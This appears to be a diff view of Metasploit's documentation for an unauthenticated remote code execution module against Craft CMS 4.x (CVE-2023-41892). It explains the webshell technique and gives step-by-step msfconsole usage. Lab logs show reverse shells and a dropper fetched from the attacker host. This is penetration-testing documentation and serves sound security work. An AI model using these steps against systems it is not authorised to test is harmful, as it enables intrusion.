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Land #18612, Craft CMS unauthenticed RCE [CVE-2023-41892]
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documentation/modules/exploit/linux/http/craftcms_unauth_rce_cve_2023_41892.md
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| ## Vulnerable Application | ||
| This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in CraftCMS which is a popular content management system. | ||
| CraftCMS versions between `4.0.0-RC1` - `4.4.14` are affected by this vulnerability allowing attackers to execute arbitrary code remotely, | ||
| potentially compromising the security and integrity of the application. | ||
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| The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class which allows to run arbitrary | ||
| PHP code by escalating the object creation calling some methods available in `\GuzzleHttp\Psr7\FnStream`. | ||
| Using this vulnerability in combination with `The Imagick Extension` and `MSL` which stands for `Magick Scripting Language`, | ||
| a full RCE can be achieved. `MSL` is a built-in `ImageMagick` language that facilitates the reading of images, performance of | ||
| image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious | ||
| PHP code using the `Imagick` constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious | ||
| PHP code and gaining access to the system. | ||
| Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain access to the underlying operating | ||
| system as the user that the web services are running as (typically `www-data`). | ||
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| ## Installation | ||
| To test this module, you will need a vulnerable CraftCMS application. | ||
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| This module has been tested on: | ||
| - [ ] `CraftCMS 4.4.14` running on MacOS Docker Desktop based on a `DDEV` deployment. | ||
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| ### Installation steps to install CraftCMS on MacOS using Desktop Docker and DDEV | ||
| * Install [Docker Desktop](https://ddev.readthedocs.io/en/stable/users/install/docker-installation/#macos) on your MacOS distribution. | ||
| * Install [DDEV](https://ddev.readthedocs.io/en/stable/users/install/ddev-installation/). | ||
| * Install CraftCMS following these [installation steps](https://craftcms.com/docs/getting-started-tutorial/install/). | ||
| * NOTE: After step 2 `Scaffold the project from the official starter project`, open composer.json to edit the CraftCMS version and | ||
| * set it to `4.4.14` or lower. | ||
| * Run `composer update` to downgrade the `CraftCMS` version to a vulnerable version. | ||
| * See also these [instructions](https://craftcms.com/knowledge-base/downloading-previous-craft-versions). | ||
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| * Continue with step 3 and after completion, you should be able to access your application using your site name (https://mysite.ddev.site) | ||
| * To access your application from another host, you need to setup a tunnel otherwise you can only access it from the local machine. | ||
| * You can follow these [instructions](https://stackoverflow.com/questions/53371087/access-ddev-web-container-from-other-hosts). | ||
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| You are now ready to test the module. | ||
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| ## Verification Steps | ||
| - [x] Start `msfconsole` | ||
| - [x] `use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892` | ||
| - [x] `set rhosts <ip-target>` | ||
| - [x] `set rport 443` | ||
| - [x] `set lhost <ip-attacker>` | ||
| - [x] `set target <0=php, 1=Unix Command, 2=Linux Dropper>` | ||
| - [x] `exploit` | ||
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| you should get a `shell` or `Meterpreter` | ||
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| ```shell | ||
| msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > info | ||
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| Name: Craft CMS unauthenticated Remote Code Execution (RCE) | ||
| Module: exploit/linux/http/craftcms_unauth_rce_cve_2023_41892 | ||
| Platform: Unix, Linux, PHP | ||
| Arch: cmd, php, x64, x86 | ||
| Privileged: No | ||
| License: Metasploit Framework License (BSD) | ||
| Rank: Excellent | ||
| Disclosed: 2023-09-13 | ||
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||
| Provided by: | ||
| chybeta | ||
| h00die-gr3y <[email protected]> | ||
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| Module side effects: | ||
| artifacts-on-disk | ||
| ioc-in-logs | ||
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| Module stability: | ||
| crash-safe | ||
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| Module reliability: | ||
| repeatable-session | ||
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| Available targets: | ||
| Id Name | ||
| -- ---- | ||
| => 0 PHP | ||
| 1 Unix Command | ||
| 2 Linux Dropper | ||
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| Check supported: | ||
| Yes | ||
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| Basic options: | ||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
| RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht | ||
| ml | ||
| RPORT 443 yes The target port (TCP) | ||
| SSL true no Negotiate SSL/TLS for outgoing connections | ||
| SSLCert no Path to a custom SSL certificate (default is randomly generated) | ||
| TARGETURI / yes Craft CMS base url | ||
| URIPATH no The URI to use for this exploit (default is random) | ||
| VHOST no HTTP server virtual host | ||
| WEBSHELL no The name of the webshell with extension .php. Webshell name will be randomly generated if left unset | ||
| . | ||
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| When TARGET is not 0: | ||
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| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) | ||
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| When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: | ||
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| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0. | ||
| 0.0 to listen on all addresses. | ||
| SRVPORT 8080 yes The local port to listen on. | ||
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| Payload information: | ||
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| Description: | ||
| This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular | ||
| content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability | ||
| allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity | ||
| of the application. | ||
|
|
||
| The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class | ||
| which allows to run arbitary PHP code by escalating the object creation calling some methods available in | ||
| `\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which | ||
| stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that | ||
| facilitates the reading of images, performance of image processing tasks, and writing of results back | ||
| to the filesystem. This can be leveraged to create a dummy image containing mailcious PHP code using the | ||
| Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the | ||
| malicious PHP code and gaining access to the system. | ||
|
|
||
| Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain | ||
| access to the underlying operating system as the user that the web services are running as (typically www-data). | ||
|
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| References: | ||
| https://nvd.nist.gov/vuln/detail/CVE-2023-41892 | ||
| https://blog.calif.io/p/craftcms-rce | ||
| https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ | ||
| https://github.com/advisories/GHSA-4w8r-3xrw-v25g | ||
| https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892 | ||
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| View the full module info with the info -d command. | ||
| ``` | ||
| ## Options | ||
| ### WEBSHELL | ||
| You can use this option to set the filename of the webshell with extension `.php`, otherwise the name will be randomly generated. | ||
| ### COMMAND | ||
| This option provides the user to choose the PHP underlying shell command function to be used for execution. | ||
| The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`. | ||
| This option is only available when the target selected is either Unix Command or Linux Dropper. | ||
| For the native PHP target, by default the `eval()` function will be used for native PHP code execution. | ||
| ## Scenarios | ||
| ### CraftCMS 4.4.14 on MacOS PHP - php/meterpreter/reverse_tcp | ||
| ```shell | ||
| msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit | ||
|
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||
| [*] Started reverse TCP handler on 192.168.201.8:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target appears to be vulnerable. | ||
| [*] Executing PHP for php/meterpreter/reverse_tcp | ||
| [*] Sending stage (39927 bytes) to 192.168.201.25 | ||
| [+] Deleted /var/www/html/web/CDfbvAnrZMH.php | ||
| [+] Deleted /tmp/php5M63PK | ||
| [*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.25:51044) at 2023-12-17 12:31:55 +0000 | ||
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| meterpreter > sysinfo | ||
| Computer : craftcms-vuln-web | ||
| OS : Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 | ||
| Meterpreter : php/linux | ||
| meterpreter > getuid | ||
| Server username: www-data | ||
| meterpreter > | ||
| ``` | ||
| ### CraftCMS 4.4.14 on MacOS Unix Command - cmd/unix/reverse_bash | ||
| ```shell | ||
| msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 1 | ||
| target => 1 | ||
| msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit | ||
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| [*] Started reverse TCP handler on 192.168.201.8:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target appears to be vulnerable. | ||
| [*] Executing Unix Command for cmd/unix/reverse_bash | ||
| [+] Deleted /var/www/html/web/XGCuZFdoia.php | ||
| [+] Deleted /tmp/phpakTlmu | ||
| [*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.25:51101) at 2023-12-17 12:34:34 +0000 | ||
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| uname -a | ||
| Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 GNU/Linux | ||
| id | ||
| uid=501(www-data) gid=20(dialout) groups=20(dialout)``` | ||
| ### CraftCMS 4.4.14 on MacOS Linux Dropper - linux/x64/meterpreter/reverse_tcp | ||
| ```shell | ||
| msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 2 | ||
| target => 2 | ||
| msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit | ||
|
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||
| [*] Started reverse TCP handler on 192.168.201.8:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target appears to be vulnerable. | ||
| [*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp | ||
| [*] Using URL: http://192.168.201.8:8080/bzzA52uoIqWP | ||
| [*] Client 192.168.201.25 (Wget/1.21) requested /bzzA52uoIqWP | ||
| [*] Sending payload to 192.168.201.25 (Wget/1.21) | ||
| [*] Sending stage (3045380 bytes) to 192.168.201.25 | ||
| [+] Deleted /var/www/html/web/sFQEhvKKcl.php | ||
| [+] Deleted /tmp/phpeQPKpy | ||
| [*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.25:51122) at 2023-12-17 12:35:54 +0000 | ||
| [*] Command Stager progress - 100.00% done (118/118 bytes) | ||
| [*] Server stopped. | ||
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| meterpreter > sysinfo | ||
| Computer : 192.168.16.2 | ||
| OS : Debian 11.8 (Linux 6.4.16-linuxkit) | ||
| Architecture : x64 | ||
| BuildTuple : x86_64-linux-musl | ||
| Meterpreter : x64/linux | ||
| meterpreter > getuid | ||
| Server username: www-data | ||
| meterpreter > | ||
| ``` | ||
| ## Limitations | ||
| Part of the exploit is the MSL script creation triggered by the Imagick plugin module. These files are created in the directory | ||
| set by the `upload_tmp_dir` setting in the `php.ini` file (default `/tmp`). These files are automatically cleaned, but in case of | ||
| any failure cleaning these files, do clean them manually otherwise the next exploit session will fail using an outdated MSL file. | ||
| These files start with `php` and you can list them with the command `ls php*`. |
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